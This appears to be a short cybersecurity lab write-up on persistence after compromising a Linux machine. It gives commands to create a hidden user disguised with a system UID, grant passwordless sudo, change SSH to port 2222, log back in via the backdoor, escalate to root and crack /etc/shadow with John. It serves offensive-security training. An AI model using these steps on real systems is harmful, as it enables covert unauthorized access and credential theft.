Shadow People

- Creating a secret user named sysd:
    - **sudo useradd sysd**
- Creating a password for secret user:
    - **sudo passwd sysd**
- Giving secret user a system UID < 1000:
    - **sudo usermod -u 500 sysd**
- Giving secret user the same GID:
    - **sudo groupmod -g 500 sysd**
- Giving secret user full sudo access without the need for a password:
    - **sudo visudo**
        i. **Note: In terms of secure system design, this IS NOT recommended.**
- Test that sudo access works without your password:

  Sudo -l

Smooth Sailing

- Editing the sshd_config file:

  sudo nano /etc/ssh/sshd_config

Testing Configuration Update

- Restart the SSH service:
    - **systemctl restart ssh**
- Exit the root account:
    - **exit**
- SSH to the target machine using your sysd account and port 2222:
    - **ssh sysd@192.168.6.105 -p 2222**
- Use sudo to switch to the root user:
    - **sudo su**

Cracking Passwords

- SSH back to the system using your sysd account and port 2222:
    - **ssh sysd@192.168.6.105 -p 2222**
- Escalate your privileges to the root user. Use John to crack the entire /etc/shadow file:
    - **sudo su**